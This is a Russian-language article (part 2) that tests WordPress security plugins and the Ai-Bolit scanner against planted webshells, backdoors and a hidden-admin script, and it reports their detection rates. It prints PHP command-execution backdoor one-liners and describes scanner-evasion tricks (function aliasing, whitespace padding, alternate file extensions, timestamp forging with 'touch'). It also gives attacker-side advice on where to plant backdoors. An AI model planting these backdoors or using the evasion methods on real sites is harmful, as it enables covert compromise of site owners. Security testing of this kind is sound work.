часть 2

часть 2


Сканирование

 


Wordfence Security – Firewall & Malware Scan

Запускаем первое сканирование в стандартном режиме и, затаив дыхание, ожидаем, что будет обнаружен весь внедренный код.

Результат первого запуска Wordfence Security — Firewall & Malware Scan

12/20. Что было обнаружено на самом деле:

  • wp-config.php — system();
  • wp-config-sample.php — passthru();
  • wp-content/nbl.php — веб-шелл;
  • wp-content/mini47.php — веб-шелл;
  • wp-content/alfa—3.php — веб-шелл;
  • wp-content/b-374-k.php — веб-шелл;
  • wp-content/w50.php — веб-шелл;
  • wp-content/c—7.php — веб-шелл;
  • wp-content/themes/index.php — shell_exec();
  • wp-content/plugins/index.php — shell_exec();
  • wp-content/index.php — shell_exec() + модификация файла ядра;
  • wp-content/themes/corrupted/footer.php — system().

Обратим внимание на то, как модуль сканирования распознает файлы /wp-content/index.php и /wp-content/themes/index.php с /wp-content/plugins/index.php: первый оценивается как модифицированный файл ядра и попадает в отчет дважды, а вот другие два уже нет. Почему — загадка. Справедливости ради замечу, что около полугода назад файл /wp-content/index.php также не считался файлом ядра.

Что не было обнаружено (8/20):

  • wp-content/subversa.php — веб-шелл;
  • wp-content/simple.shtml — веб-шелл;
  • wp-content/plugins/heIIo.php — поддельный плагин, записывающий код бэкдора в файл shadow.php;
  • wp-content/plugins/shadow.php — бэкдор;
  • wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
  • wp-content/themes/corrupted/header.php — require_once get_template_directory() . '/inc/ghostuser.php;
  • wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта;
  • wp-content/themes/twentysixteen/header.php — скрытый загрузчик файлов.
Страница «Пользователи» со скрытой учетной записью администратора

Вполне ожидаемо, что были выявлены наиболее популярные веб-шеллы, однако «мимо радаров» прошли загрузчики файлов вместе с require_once(). Интересно то, что два веб-шелла без обфускации под подозрение не попали совсем (к вопросу об избыточности кода). Кроме того, весьма странно, что изменения темы Twenty Sixteen также не попали под подозрение, равно как и создание еще одного пользователя с правами администратора и последующим его сокрытием со страницы «Пользователи».

Результат очередного сканирования Wordfence Security — Firewall & Malware Scan

Хорошо, исключим шесть обнаруженных веб-шеллов из дальнейшей работы, а выявленные «закладки» попробуем доработать:

  • wp-config.php — меняем код на $sy=system;$sy($_GET["subversa"]);;
  • wp-config-sample.php — меняем код на $pt=passthru;$pt($_GET["subversa"]);exit();;
  • /wp-content/index.php/wp-content/plugins/index.php/wp-content/themes/index.php — меняем код на $sh=shell_exec;echo $sh($_GET["subversa"]); во всех трех файлах;
  • wp-content/themes/corrupted/footer.php — меняем код на $sy=system;$sy($_GET["subversa"]);.

После этого вновь запустим сканирование и посмотрим, будут ли выявлены эти «закладки» вновь.

Еще один запуск сканирования Wordfence Security — Firewall & Malware Scan дал такой результат

На этот раз выявлено 2/14 угроз:

  • wp-content/themes/corrupted/footer.php — system();
  • /wp-content/index.php — модификация файла ядра.

Изменения файла /wp-content/index.php вызовут срабатывание в любом случае, поэтому возвращаем его к первоначальному виду, а «закладку» в файле wp-content/themes/corrupted/footer.php немного видоизменим и запустим повторное сканирование:

  • wp-content/themes/corrupted/footer.php — добавляем около 200 пробелов перед кодом $sy=system;$sy($_GET["subversa"]);.
Полное сокрытие вредоносного кода в «стандартном» режиме сканирования

Результат превосходит все ожидания: 0/14.

Но это «стандартный» тип сканирования, а что будет на «параноидальном»? Включаем режим High Sensitivity в настройках сканирования и запускаем еще одну проверку.

Активация «параноидального режима» на странице настроек

 

Результат: 1/14.
Модуль сканирования выявил модификацию файла wp-content/themes/twentysixteen/header.php темы Twenty Sixteen. Причем уровень угрозы оценивается как Medium, то есть средний. Плагин ссылается на то, что модификацию файла мог выполнить и сам пользователь. Вообще огонь!

«Уплывшие» файлы cookies плагин Wordfence Security — Firewall & Malware Scan ни разу не заметил.

 


Sucuri Security — Auditing, Malware Scanner and Security Hardening

Шутки ради стоило запустить этот плагин безопасности, чтобы увидеть заключение по текущему состоянию сайта: All Core WordPress Files Are Correct. Хитрость этого решения в том, что модуль сканирования по базовым сигнатурам работает только при наличии годовой подписки, цена которой составляет от 200 долларов.

All Core WordPress Files Are Correct

 


Anti-Malware Security and Brute-Force Firewall

Еще одно потрясающее решение, которое можно найти в репозитории. Итак, запускаем полную проверку и внимательно изучаем результат: 1768 файлов просканировано, 446 файлов пропущено (.CSS, .PNG, .GIF и так далее) и... выявлено восемь потенциальных угроз!

Итог работы плагина Anti-Malware Security and Brute-Force Firewall

Вот эти опасные, по мнению плагина, файлы:

  • wp-admin/includes/class-pclzip.php
  • wp-includes/js/json2.js
  • wp-includes/js/json2.min.js
  • wp-includes/js/tw-sack.js
  • wp-includes/js/tw-sack.min.js
  • wp-includes/js/jquery/jquery.form.min.js
  • wp-includes/js/jquery/jquery.schedule.js
  • wp-includes/js/tinymce/tiny_mce_popup.js

В общем, восемь ложных срабатываний и ничего даже близко похожего на наши «закладки». Но не будем спешить с выводами, так как у данного плагина есть интересная опция, работающая «из коробки»: Upload PHP File Protection. У нас как раз есть загрузчики файлов, так что тест этой функции напрашивается сам собой.


 

После включения этого режима мы видим сообщение: You have been redirected here from hacked. WordPress which is protected by GOTMLS Anti-Malware. Неплохо! Файл mini_b374k.php он загрузить не дал, а вот смена расширения позволила веб-шеллу проскочить со свистом аж несколько раз: *.shtml*.php5*.php7 и так далее. Думаю, суть ты уловил.

 


Cerber Security, Antispam & Malware Scan

Пожалуй, самый интересный продукт из всех рассмотренных в статье. Менее чем за минуту выполнено полное сканирование, итогом которого стали 14 предупреждений. Итак, вот они:

  • wp-config.php — обнаружен подозрительный код (крит.);
  • wp-config-sample.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/plugins/heIIo.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/twentysixteen/inc/fakefile.php — не связанный с системой файл;
  • wp-content/themes/twentysixteen/header.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/themes/twentysixteen/404.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/themes/corrupted/functions.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/corrupted/footer.php — обнаружен подозрительный код (крит.);
  • wp-content/plugins/index.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/index.php — обнаружен подозрительный код (крит.);
  • wp-content/subversa.php — обнаружен вредоносный код (крит.);
  • wp-content/simple.shtml — обнаружен вредоносный код (крит.).

Еще два предупреждения касались плагина и темы, которых нет в репозитории, и, соответственно, целостность файлов не проверить — не с чем сравнивать.

Результат сканирования плагином Cerber Security, Antispam & Malware Scan

Отличный результат, тем более что плагин не требует каких-то платных подписок для локального сканирования файлов. Разумеется, он не без изъянов: по своему опыту скажу, что обмануть «Цербера» можно с помощью все той же обфускации, да и загрузке файлов он даже не думает препятствовать, но это уже совсем другая история. Из того, что этот сторожевой пес пропустил:

  • wp-content/plugins/shadow.php — бэкдор;
  • wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
  • wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта.

Также есть возможность обманывать модуль сканирования, используя для модифицированных файлов команду touch с параметрами -a -m -t:

$ touch -a -m -t 201911081434.21 shadow.php

Этой командой дата и время доступа и изменения для файла shadow.php были установлены на 201911081434.21, то есть 2019 год, 11 — месяц, 08 — число, 14 — часы, 34 — минуты, 21 — секунды.

 


Бонус: «Ай-Болит»

Чтобы немного разнообразить ассортимент малвари и инструментов, я предлагаю оценить в деле работу популярнейшего «Ай-Болита», которого нахваливают сильнее всех перечисленных в статье плагинов безопасности, вместе взятых. А затем посмотреть на результат работы таких плагинов против спам-страниц, которых я закину на тестовый сайт чуть более 4000 штук. Спам-страницы — это просто рекламные веб-страницы, содержащие текст с большим количеством поискового спама. Их я позаимствовал на одном из взломанных WordPress-сайтов, с которым мне пришлось разбираться некоторое время назад.

К CMS WordPress «Ай-Болит» прямого отношения не имеет, но многими он воспринимается как «волшебная таблетка» и даже иногда навязывается в качестве необходимой платной услуги некоторыми хостинг-компаниями, если сайт клиента был скомпрометирован.

Итак, скачиваем «Ай-Болит» для сайтов (версия от 27.02.2019 03:09), загружаем файлы в корневую директорию тестового сайта и в консоли запускаем проверку:

$ php ai-bolit.php —skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov —mode=2 —size=2048K

Я добавил опцию пропуска файлов с расширениями jpg, png, gif, jpeg, JPG, PNG, GIF, bmp, xml, zip, rar, css, avi, mov, установил максимальный размер сканируемых файлов на 2048 Кбайт, а тип сканирования выбрал «параноидальный». К слову сказать, это единственный режим «Ай-Болита», в котором он способен найти хоть что-то, вываливая попутно кучу false positives, то есть ложных срабатываний. Отчего отчет после сканирования разбирать довольно муторно.

Отчет о проделанной работе «Ай-Болита»

Казалось бы, для такого популярного и мощного инструмента это ерундовая задачка, но... из ~4000 спам-страниц выявлено менее 200 (то есть менее 5%), а из 14 закладок найдены всего 2 — загрузчики файлов (14,3%). Как видим, картина очень далека от идеальной, особенно учитывая возможность чуть «замаскировать» загрузчики файлов. Тогда счетчик выявленных «закладок», вероятно, вообще будет равен нулю.

При том же количестве спам-страниц плагины безопасности WordPress показали такие результаты:

  • Wordfence Security — Firewall & Malware Scan — 474 спам-страницы выявлено из ~4000 (при 39 967 проверенных ссылках), то есть 11,8%;
  • Anti-Malware Security and Brute-Force Firewall — выявлено 9 спам-страниц, то есть 0,2%;
  • Cerber Security, Antispam & Malware Scan — всего 6 спам-страниц, то есть 0,15%.

В общем, если воспринимать такого рода плагины как инструменты для обеспечения безопасности, то про эту самую безопасность можно благополучно забыть.

 


Выводы

Как ты мог убедиться, количество активных установок плагина и хвалебные отзывы ничего не говорят о качестве продукта. Равно как и наличие плагина в репозитории WordPress не гарантирует вообще ничего. Ежедневное пополнение WPScan Vulnerability Database новыми данными об уязвимых плагинах и темах тоже не гарантирует успешного выявления всех потенциальных угроз. Так о чем речь в итоге?

Если подумать над полученной информацией, то можно понять, что на самом деле нам не предлагают готовые самостоятельные решения, а показывают демоверсии сервисов, доступных по подписке. Иначе говоря, создавать и бесплатно распространять эффективный и мощный инструмент, выявляющий всевозможную малварь, финансово невыгодно для любой компании. О выгоде клиента, разумеется, речи вообще не идет: плати, и твоя проблема будет решаться штатными специалистами. Все бы хорошо, но с точки зрения клиента эта модель экономически оправданна, только если его сайт будут взламывать регулярно, тогда смысл платной подписки понятен. С другой же стороны, регулярные взломы при наличии подписки означают низкий уровень оказываемых услуг, что также вызывает вопросы. Замкнутый круг.

Как быть? Тебе решать, заплатить профессионалу за работу «под ключ», сидеть на платной подписке и кормить целую команду разработчиков или самостоятельно пытаться решить проблему «за пару кликов мышью» в надежде на благоприятный исход. Как по мне, лучше и выгоднее все же заранее нанять специалиста для аудита безопасности или, если сайт уже скомпрометирован, для восстановления работоспособности ресурса.

 


Взгляд со стороны атакующего

  • не надо внедрять «закладки» куда попало: по возможности изучи систему, которую атакуешь, чтобы потом было меньше сюрпризов и неожиданностей;
  • говоря конкретно про CMS WordPress: забудь о модификациях чего-либо в директориях /wp-admin/ и /wp-includes/, а также плагинов и тем из репозитория, равно как и файлов из корневой директории CMS — все твои труды «смоются» при штатном обновлении или при форсированной переустановке движка;
  • проявляй фантазию и изобретательность, но не забывай, что краткость — сестра таланта. Иными словами, не надо пытаться внедрить как можно больше фишек в свой код, в перспективе усложняя себе этим жизнь. Простота, элегантность и нешаблонность мышления — наиболее выигрышная стратегия.

 


Взгляд со стороны защищающегося

  • откажись от всевозможных полумер в работе;
  • не стоит уповать на популярные «плагины безопасности» — это лишь подспорье (зачастую сомнительное), но не решение на все случаи жизни;
  • «варез» на твоих проектах — это выстрел себе же в ногу (или в обе сразу);
  • если ты работаешь с программистом и принимаешь проект, то старайся не портить с ним отношения и не мудрить с оплатой — это уменьшает твои шансы принять сайт с неприятными бонусами в виде «закладок»;
  • техподдержка большинства хостинг-компаний откажет тебе в восстановлении ресурса, если тот был скомпрометирован, зато с большой вероятностью предложит платную услугу чистки сайта тем же «Ай-Болитом»;
  • о бэкапах надо позаботиться заранее — это прописная истина, которую частенько напрасно игнорируют.


Опция Upload PHP File Protection в действии


В «параноидальном режиме» выявлена лишь модификация оригинальной темы оформления


Report Page